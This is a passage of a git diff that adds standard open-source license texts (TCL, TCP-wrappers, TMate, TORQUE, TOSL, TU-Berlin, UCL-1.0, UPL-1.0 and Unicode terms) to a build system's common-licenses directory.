+INCLUDING BUT NOT LIMITED TO CLAIMS OF INTELLECTUAL PROPERTY
+INFRINGEMENT OR LOSS OF DATA, EVEN IF THAT PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+7.3 You agree that the foregoing limitations are reasonable due to
+the non-financial nature of the transaction represented by this
+Agreement, and acknowledge that were it not for these limitations, the
+Licensor(s) would not be willing to make the Documentation available to
+you.
+7.4 You agree to defend, indemnify, and hold each Licensor harmless
+from any claim brought by a third party alleging any defect in the
+design, manufacture, or operation of any Product which you make, have
+made, or distribute pursuant to this Agreement.
+ ####
diff --git a/meta/files/common-licenses/TCL b/meta/files/common-licenses/TCL
new file mode 100644
index 0000000000..4b9cdb48a6
--- /dev/null
+++ b/meta/files/common-licenses/TCL
@@ -0,0 +1,9 @@
+This software is copyrighted by the Regents of the University of California, Sun Microsystems, Inc., Scriptics Corporation, ActiveState Corporation and other parties. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files.
+
+The authors hereby grant permission to use, copy, modify, distribute, and license this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. No written agreement, license, or royalty fee is required for any of the authorized uses. Modifications to this software may be copyrighted by their authors and need not follow the licensing terms described here, provided that the new terms are clearly indicated on the first page of each file where they apply.
+
+IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
+
+GOVERNMENT USE: If you are acquiring this software on behalf of the U.S. government, the Government shall have only "Restricted Rights" in the software and related documentation as defined in the Federal Acquisition Regulations (FARs) in Clause 52.227.19 (c) (2). If you are acquiring the software on behalf of the Department of Defense, the software shall be classified as "Commercial Computer Software" and the Government shall have only "Restricted Rights" as defined in Clause 252.227-7013 (c) (1) of DFARs. Notwithstanding the foregoing, the authors grant the U.S. Government and others acting in its behalf permission to use and distribute the software in accordance with the terms specified in this license.
diff --git a/meta/files/common-licenses/TCP-wrappers b/meta/files/common-licenses/TCP-wrappers
new file mode 100644
index 0000000000..e13d4f5327
--- /dev/null
+++ b/meta/files/common-licenses/TCP-wrappers
@@ -0,0 +1,7 @@
+Copyright 1995 by Wietse Venema. All rights reserved. Some individual files may be covered by other copyrights.
+
+This material was originally written and compiled by Wietse Venema at Eindhoven University of Technology, The Netherlands, in 1990, 1991, 1992, 1993, 1994 and 1995.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that this entire copyright notice is duplicated in all such copies.
+
+This software is provided "as is" and without any expressed or implied warranties, including, without limitation, the implied warranties of merchantibility and fitness for any particular purpose.
diff --git a/meta/files/common-licenses/TMate b/meta/files/common-licenses/TMate
new file mode 100644
index 0000000000..75fe4b42f9
--- /dev/null
+++ b/meta/files/common-licenses/TMate
@@ -0,0 +1,21 @@
+The TMate Open Source License.
+
+This license applies to all portions of TMate SVNKit library, which are not externally-maintained libraries (e.g. Ganymed SSH library).
+
+All the source code and compiled classes in package org.tigris.subversion.javahl except SvnClient class are covered by the license in JAVAHL-LICENSE file
+
+Copyright (c) 2004-2012 TMate Software. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Redistributions in any form must be accompanied by information on how to obtain complete source code for the software that uses SVNKit and any accompanying software that uses the software that uses SVNKit. The source code must either be included in the distribution or be available for no more than the cost of distribution plus a nominal fee, and must be freely redistributable under reasonable conditions. For an executable file, complete source code means the source code for all modules it contains. It does not include source code for modules or files that typically accompany the major components of the operating system on which the executable file runs.
+
+ * Redistribution in any form without redistributing source code for software that uses SVNKit is possible only when such redistribution is explictly permitted by TMate Software. Please, contact TMate Software at support@svnkit.com to get such permission.
+
+THIS SOFTWARE IS PROVIDED BY TMATE SOFTWARE ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED.
+
+IN NO EVENT SHALL TMATE SOFTWARE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TORQUE-1.1 b/meta/files/common-licenses/TORQUE-1.1
new file mode 100644
index 0000000000..52c884e8de
--- /dev/null
+++ b/meta/files/common-licenses/TORQUE-1.1
@@ -0,0 +1,25 @@
+TORQUE v2.5+ Software License v1.1
+Copyright (c) 2010-2011 Adaptive Computing Enterprises, Inc. All rights reserved.
+
+Use this license to use or redistribute the TORQUE software v2.5+ and later versions. For free support for TORQUE users, questions should be emailed to the community of TORQUE users at torqueusers@supercluster.org. Users can also subscribe to the user mailing list at http://www.supercluster.org/mailman/listinfo/torqueusers. Customers using TORQUE that also are licensed users of Moab branded software from Adaptive Computing Inc. can get TORQUE support from Adaptive Computing via:
+Email: torque-support@adaptivecomputing.com.
+Phone: (801) 717-3700
+Web: www.adaptivecomputing.com www.clusterresources.com
+
+This license covers use of the TORQUE v2.5 software (the "Software") at your site or location, and, for certain users, redistribution of the Software to other sites and locations1. Later versions of TORQUE are also covered by this license. Use and redistribution of TORQUE v2.5 in source and binary forms, with or without modification, are permitted provided that all of the following conditions are met.
+
+1. Any Redistribution of source code must retain the above copyright notice and the acknowledgment contained in paragraph 5, this list of conditions and the disclaimer contained in paragraph 5.
+
+2. Any Redistribution in binary form must reproduce the above copyright notice and the acknowledgment contained in paragraph 4, this list of conditions and the disclaimer contained in paragraph 5 in the documentation and/or other materials provided with the distribution.
+
+3. Redistributions in any form must be accompanied by information on how to obtain complete source code for TORQUE and any modifications and/or additions to TORQUE. The source code must either be included in the distribution or be available for no more than the cost of distribution plus a nominal fee, and all modifications and additions to the Software must be freely redistributable by any party (including Licensor) without restriction.
+
+4. All advertising materials mentioning features or use of the Software must display the following acknowledgment:
+"TORQUE is a modification of OpenPBS which was developed by NASA Ames Research Center, Lawrence Livermore National Laboratory, and Veridian TORQUE Open Source License v1.1. 1 Information Solutions, Inc. Visit www.clusterresources.com/products/ for more information about TORQUE and to download TORQUE. For information about Moab branded products and so receive support from Adaptive Computing for TORQUE, see www.adaptivecomputing.com.”
+
+5. DISCLAIMER OF WARRANTY THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT ARE EXPRESSLY DISCLAIMED. IN NO EVENT SHALL ADAPTIVE COMPUTING ENTERPRISES, INC. CORPORATION, ITS AFFILIATED COMPANIES, OR THE U.S. GOVERNMENT OR ANY OF ITS AGENCIES BE LIABLE FOR ANY DIRECT OR INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This license will be governed by the laws of Utah, without reference to its choice of law rules.
+
+Note 1: TORQUE is developed from an earlier version v2.3 of OpenPBS. TORQUE has been developed beyond OpenPBS v2.3. The OpenPBS v2.3 license and OpenPBS software can be obtained at:
+http://www.pbsworks.com/ResLibSearchResult.aspx?keywords=openpbs&industry=All&pro duct_service=All&category=Free%20Software%20Downloads&order_by=title. Users of TORQUE should comply with the TORQUE license as well as the OpenPBS license.
diff --git a/meta/files/common-licenses/TOSL b/meta/files/common-licenses/TOSL
new file mode 100644
index 0000000000..efee67e571
--- /dev/null
+++ b/meta/files/common-licenses/TOSL
@@ -0,0 +1,9 @@
+Trusster Open Source License version 1.0a (TRUST) copyright (c) 2006 Mike Mintz and Robert Ekendahl. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ * Redistributions in any form must be accompanied by information on how to obtain complete source code for this software and any accompanying software that uses this software. The source code must either be included in the distribution or be available in a timely fashion for no more than the cost of distribution plus a nominal fee, and must be freely redistributable under reasonable and no more restrictive conditions. For an executable file, complete source code means the source code for all modules it contains. It does not include source code for modules or files that typically accompany the major components of the operating system on which the executable file runs.
+
+THIS SOFTWARE IS PROVIDED BY MIKE MINTZ AND ROBERT EKENDAHL ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR NON-INFRINGEMENT, ARE DISCLAIMED. IN NO EVENT SHALL MIKE MINTZ AND ROBERT EKENDAHL OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/TU-Berlin-1.0 b/meta/files/common-licenses/TU-Berlin-1.0
new file mode 100644
index 0000000000..08f954e88c
--- /dev/null
+++ b/meta/files/common-licenses/TU-Berlin-1.0
@@ -0,0 +1,10 @@
+Copyright 1992 by Jutta Degener and Carsten Bormann,
+Technische Universitaet Berlin
+
+Any use of this software is permitted provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+As a matter of courtesy, the authors request to be informed about uses this software has found, about bugs in this software, and about any improvements that may be of general interest.
+
+Berlin, 15.09.1992
+Jutta Degener
+Carsten Bormann
diff --git a/meta/files/common-licenses/TU-Berlin-2.0 b/meta/files/common-licenses/TU-Berlin-2.0
new file mode 100644
index 0000000000..82897c1871
--- /dev/null
+++ b/meta/files/common-licenses/TU-Berlin-2.0
@@ -0,0 +1,20 @@
+Copyright 1992, 1993, 1994 by Jutta Degener and Carsten Bormann,
+Technische Universitaet Berlin
+
+Any use of this software is permitted provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+As a matter of courtesy, the authors request to be informed about uses this software has found, about bugs in this software, and about any improvements that may be of general interest.
+
+Berlin, 28.11.1994
+Jutta Degener
+Carsten Bormann
+
+oOo
+
+Since the original terms of 15 years ago maybe do not make our intentions completely clear given today's refined usage of the legal terms, we append this additional permission:
+
+Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that this notice is not removed and that neither the authors nor the Technische Universitaet Berlin are deemed to have made any representations as to the suitability of this software for any purpose nor are held responsible for any defects of this software. THERE IS ABSOLUTELY NO WARRANTY FOR THIS SOFTWARE.
+
+Berkeley/Bremen, 05.04.2009
+Jutta Degener
+Carsten Bormann
diff --git a/meta/files/common-licenses/UCL-1.0 b/meta/files/common-licenses/UCL-1.0
new file mode 100644
index 0000000000..8915f82b45
--- /dev/null
+++ b/meta/files/common-licenses/UCL-1.0
@@ -0,0 +1,48 @@
+Upstream Compatibility License v. 1.0 (UCL-1.0)
+
+This Upstream Compatibility License (the "License") applies to any original work of authorship (the "Original Work") whose owner (the "Licensor") has placed the following licensing notice adjacent to the copyright notice for the Original Work:
+
+ Licensed under the Upstream Compatibility License 1.0
+
+1) Grant of Copyright License. Licensor grants You a worldwide, royalty-free, non-exclusive, sublicensable license, for the duration of the copyright, to do the following:
+
+ a) to reproduce the Original Work in copies, either alone or as part of a collective work;
+
+ b) to translate, adapt, alter, transform, modify, or arrange the Original Work, thereby creating derivative works ("Derivative Works") based upon the Original Work;
+
+ c) to distribute or communicate copies of the Original Work and Derivative Works to the public, with the proviso that copies of Original Work You distribute or communicate shall be licensed under this Upstream Compatibility License and all Derivative Work You distribute or communicate
+ shall be licensed under both this Upstream Compatibility License and the Apache License 2.0 or later;
+
+ d) to perform the Original Work publicly; and
+
+ e) to display the Original Work publicly.
+
+2) Grant of Patent License. Licensor grants You a worldwide, royalty-free, non-exclusive, sublicensable license, under patent claims owned or controlled by the Licensor that are embodied in the Original Work as furnished by the Licensor, for the duration of the patents, to make, use, sell, offer for sale, have made, and import the Original Work and Derivative Works.
+
+3) Grant of Source Code License. The term "Source Code" means the preferred form of the Original Work for making modifications to it and all available documentation describing how to modify the Original Work. Licensor agrees to provide a machine-readable copy of the Source Code of the Original Work along with each copy of the Original Work that Licensor distributes. Licensor reserves the right to satisfy this obligation by placing a machine-readable copy of the Source Code in an information repository reasonably calculated to permit inexpensive and convenient access by You for as long as Licensor continues to distribute the Original Work.
+
+4) Exclusions From License Grant. Neither the names of Licensor, nor the names of any contributors to the Original Work, nor any of their trademarks or service marks, may be used to endorse or promote products derived from this Original Work without express prior permission of the Licensor. Except as expressly stated herein, nothing in this License grants any license to Licensor’s trademarks, copyrights, patents, trade secrets or any other intellectual property. No patent license is granted to make, use, sell, offer for sale, have made, or import embodiments of any patent claims other than the licensed claims defined in Section 2. No license is granted to the trademarks of Licensor even if such marks are included in the Original Work. Nothing in this License shall be interpreted to prohibit Licensor from licensing under terms different from this License any Original Work that Licensor otherwise would have a right to license.
+
+5) External Deployment. The term "External Deployment" means the use, distribution, or communication of the Original Work or Derivative Works in any way such that the Original Work or Derivative Works may be used by anyone other than You, whether those works are distributed or communicated to those persons or made available as an application intended for use over a network. As an express condition for the grants of license hereunder, You must treat any External Deployment by You of the Original Work or a Derivative Work as a distribution under section 1(c).
+
+6) Attribution Rights. You must retain, in the Source Code of any Derivative Works that You create, all copyright, patent, or trademark notices from the Source Code of the Original Work, as well as any notices of licensing and any descriptive text identified therein as an "Attribution Notice." You must cause the Source Code for any Derivative Works that You create to carry a prominent Attribution Notice reasonably calculated to inform recipients that You have modified the Original Work.
+
+7) Warranty of Provenance and Disclaimer of Warranty. Licensor warrants that the copyright in and to the Original Work and the patent rights granted herein by Licensor are owned by the Licensor or are sublicensed to You under the terms of this License with the permission of the contributor(s) of those copyrights and patent rights. Except as expressly stated in the immediately preceding sentence, the Original Work is provided under this License on an "AS IS" BASIS and WITHOUT WARRANTY, either express or implied, including, without limitation, the warranties of non-infringement, merchantability or fitness for a particular purpose. THE ENTIRE RISK AS TO THE QUALITY OF THE ORIGINAL WORK IS WITH YOU. This DISCLAIMER OF WARRANTY constitutes an essential part of this License. No license to the Original Work is granted by this License except under this disclaimer.
+
+8) Limitation of Liability. Under no circumstances and under no legal theory, whether in tort (including negligence), contract, or otherwise, shall the Licensor be liable to anyone for any indirect, special, incidental, or consequential damages of any character arising as a result of this License or the use of the Original Work including, without limitation, damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses. This limitation of liability shall not apply to the extent applicable law prohibits such limitation.
+
+9) Acceptance and Termination. If, at any time, You expressly assented to this License, that assent indicates your clear and irrevocable acceptance of this License and all of its terms and conditions. If You distribute or communicate copies of the Original Work or a Derivative Work, You must make a reasonable effort under the circumstances to obtain the express assent of recipients to the terms of this License. This License conditions your rights to undertake the activities listed in Section 1, including your right to create Derivative Works based upon the Original Work, and doing so without honoring these terms and conditions is prohibited by copyright law and international treaty. Nothing in this License is intended to affect copyright exceptions and limitations (including “fair use” or “fair dealing”). This License shall terminate immediately and You may no longer exercise any of the rights granted to You by this License upon your failure to honor the conditions in Section 1(c).
+
+10) Termination for Patent Action. This License shall terminate automatically and You may no longer exercise any of the rights granted to You by this License as of the date You commence an action, including a cross-claim or counterclaim, against Licensor or any licensee alleging that the Original Work infringes a patent. This termination provision shall not apply for an action alleging patent infringement by combinations of the Original Work with other software or hardware.
+
+11) Jurisdiction, Venue and Governing Law. Any action or suit relating to this License may be brought only in the courts of a jurisdiction wherein the Licensor resides or in which Licensor conducts its primary business, and under the laws of that jurisdiction excluding its conflict-of-law provisions. The application of the United Nations Convention on Contracts for the International Sale of Goods is expressly excluded. Any use of the Original Work outside the scope of this License or after its termination shall be subject to the requirements and penalties of copyright or patent law in the appropriate jurisdiction. This section shall survive the termination of this License.
+
+12) Attorneys' Fees. In any action to enforce the terms of this License or seeking damages relating thereto, the prevailing party shall be entitled to recover its costs and expenses, including, without limitation, reasonable attorneys' fees and costs incurred in connection with such action, including any appeal of such action. This section shall survive the termination of this License.
+
+13) Miscellaneous. If any provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary to make it enforceable.
+
+14) Definition of "You" in This License. "You" throughout this License, whether in upper or lower case, means an individual or a legal entity exercising rights under, and complying with all of the terms of, this License. For legal entities, "You" includes any entity that controls, is controlled by, or is under common control with you. For purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+15) Right to Use. You may use the Original Work in all ways not otherwise restricted or conditioned by this License or by law, and Licensor promises not to interfere with or be responsible for such uses by You.
+
+16) Modification of This License. This License is Copyright (c) 2005 Lawrence Rosen and Copyright (c) 2017 Nigel Tzeng. Permission is granted to copy, distribute, or communicate this License without modification. Nothing in this License permits You to modify this License as applied to the Original Work or to Derivative Works. However, You may modify the text of this License and copy, distribute or communicate your modified version (the "Modified License") and apply it to other original works of authorship subject to the following conditions: (i) You may not indicate in any way that your Modified License is the "Open Software License" or "OSL" or the "Upstream Compatibility License" or "UCL" and you may not use those names in the name of your Modified License; (ii) You must replace the notice specified in the first paragraph above with the notice "Licensed under <insert your license name here>" or with a notice of your own that is not confusingly similar to the notice in this License; and (iii) You may not claim that your original works are open source software unless your Modified License has been approved by Open Source Initiative (OSI) and You comply with its license review and certification process.
diff --git a/meta/files/common-licenses/UPL-1.0 b/meta/files/common-licenses/UPL-1.0
new file mode 100644
index 0000000000..491a5deb4b
--- /dev/null
+++ b/meta/files/common-licenses/UPL-1.0
@@ -0,0 +1,17 @@
+Copyright (c) [year] [copyright holders]
+
+The Universal Permissive License (UPL), Version 1.0
+
+Subject to the condition set forth below, permission is hereby granted to any person obtaining a copy of this software, associated documentation and/or data (collectively the "Software"), free of charge and under any and all copyright rights in the Software, and any and all patent rights owned or freely licensable by each licensor hereunder covering either (i) the unmodified Software as contributed to or provided by such licensor, or (ii) the Larger Works (as defined below), to deal in both
+
+(a) the Software, and
+
+(b) any piece of software and/or hardware listed in the lrgrwrks.txt file if one is included with the Software (each a “Larger Work” to which the Software is contributed by such licensors),
+
+without restriction, including without limitation the rights to copy, create derivative works of, display, perform, and distribute the Software and make, use, sell, offer for sale, import, export, have made, and have sold the Software and the Larger Work(s), and to sublicense the foregoing rights on either these or other terms.
+
+This license is subject to the following condition:
+
+The above copyright notice and either this complete permission notice or at a minimum a reference to the UPL must be included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/meta/files/common-licenses/Unicode-DFS-2015 b/meta/files/common-licenses/Unicode-DFS-2015
new file mode 100644
index 0000000000..278eee1e5e
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-DFS-2015
@@ -0,0 +1,19 @@
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, and http://www.unicode.org/cldr/data/. Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/. Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, and http://www.unicode.org/cldr/data/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2015 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that
+
+ (a) this copyright and permission notice appear with all copies of the Data Files or Software,
+ (b) this copyright and permission notice appear in associated documentation, and
+ (c) there is clear notice in each modified Data File or in the Software as well as in the documentation associated with the Data File(s) or Software that the data or software has been modified.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/Unicode-DFS-2016 b/meta/files/common-licenses/Unicode-DFS-2016
new file mode 100644
index 0000000000..71fd6ac5e1
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-DFS-2016
@@ -0,0 +1,22 @@
+UNICODE, INC. LICENSE AGREEMENT - DATA FILES AND SOFTWARE
+
+Unicode Data Files include all data files under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/.
+
+Unicode Data Files do not include PDF online code charts under the directory http://www.unicode.org/Public/.
+
+Software includes any source code published in the Unicode Standard or under the directories http://www.unicode.org/Public/, http://www.unicode.org/reports/, http://www.unicode.org/cldr/data/, http://source.icu-project.org/repos/icu/, and http://www.unicode.org/utility/trac/browser/.
+
+NOTICE TO USER: Carefully read the following legal agreement. BY DOWNLOADING, INSTALLING, COPYING OR OTHERWISE USING UNICODE INC.'S DATA FILES ("DATA FILES"), AND/OR SOFTWARE ("SOFTWARE"), YOU UNEQUIVOCALLY ACCEPT, AND AGREE TO BE BOUND BY, ALL OF THE TERMS AND CONDITIONS OF THIS AGREEMENT. IF YOU DO NOT AGREE, DO NOT DOWNLOAD, INSTALL, COPY, DISTRIBUTE OR USE THE DATA FILES OR SOFTWARE.
+
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright © 1991-2016 Unicode, Inc. All rights reserved. Distributed under the Terms of Use in http://www.unicode.org/copyright.html.
+
+Permission is hereby granted, free of charge, to any person obtaining a copy of the Unicode data files and any associated documentation (the "Data Files") or Unicode software and any associated documentation (the "Software") to deal in the Data Files or Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, and/or sell copies of the Data Files or Software, and to permit persons to whom the Data Files or Software are furnished to do so, provided that either
+
+ (a) this copyright and permission notice appear with all copies of the Data Files or Software, or
+ (b) this copyright and permission notice appear in associated Documentation.
+
+THE DATA FILES AND SOFTWARE ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THE DATA FILES OR SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in these Data Files or Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/Unicode-TOU b/meta/files/common-licenses/Unicode-TOU
new file mode 100644
index 0000000000..49e3eee7eb
--- /dev/null
+++ b/meta/files/common-licenses/Unicode-TOU
@@ -0,0 +1,51 @@
+Unicode Terms of Use
+
+For the general privacy policy governing access to this site, see the Unicode Privacy Policy. For trademark usage, see the Unicode® Consortium Name and Trademark Usage Policy.
+
+A. Unicode Copyright.
+
+ 1. Copyright © 1991-2014 Unicode, Inc. All rights reserved.
+
+ 2. Certain documents and files on this website contain a legend indicating that "Modification is permitted." Any person is hereby authorized, without fee, to modify such documents and files to create derivative works conforming to the Unicode® Standard, subject to Terms and Conditions herein.
+
+ 3. Any person is hereby authorized, without fee, to view, use, reproduce, and distribute all documents and files solely for informational purposes in the creation of products supporting the Unicode Standard, subject to the Terms and Conditions herein.
+
+ 4. Further specifications of rights and restrictions pertaining to the use of the particular set of data files known as the "Unicode Character Database" can be found in Exhibit 1.
+
+ 5. Each version of the Unicode Standard has further specifications of rights and restrictions of use. For the book editions (Unicode 5.0 and earlier), these are found on the back of the title page. The online code charts carry specific restrictions. All other files, including online documentation of the core specification for Unicode 6.0 and later, are covered under these general Terms of Use.
+
+ 6. No license is granted to "mirror" the Unicode website where a fee is charged for access to the "mirror" site.
+
+ 7. Modification is not permitted with respect to this document. All copies of this document must be verbatim.
+
+B. Restricted Rights Legend. Any technical data or software which is licensed to the United States of America, its agencies and/or instrumentalities under this Agreement is commercial technical data or commercial computer software developed exclusively at private expense as defined in FAR 2.101, or DFARS 252.227-7014 (June 1995), as applicable. For technical data, use, duplication, or disclosure by the Government is subject to restrictions as set forth in DFARS 202.227-7015 Technical Data, Commercial and Items (Nov 1995) and this Agreement. For Software, in accordance with FAR 12-212 or DFARS 227-7202, as applicable, use, duplication or disclosure by the Government is subject to the restrictions set forth in this Agreement.
+
+C. Warranties and Disclaimers.
+
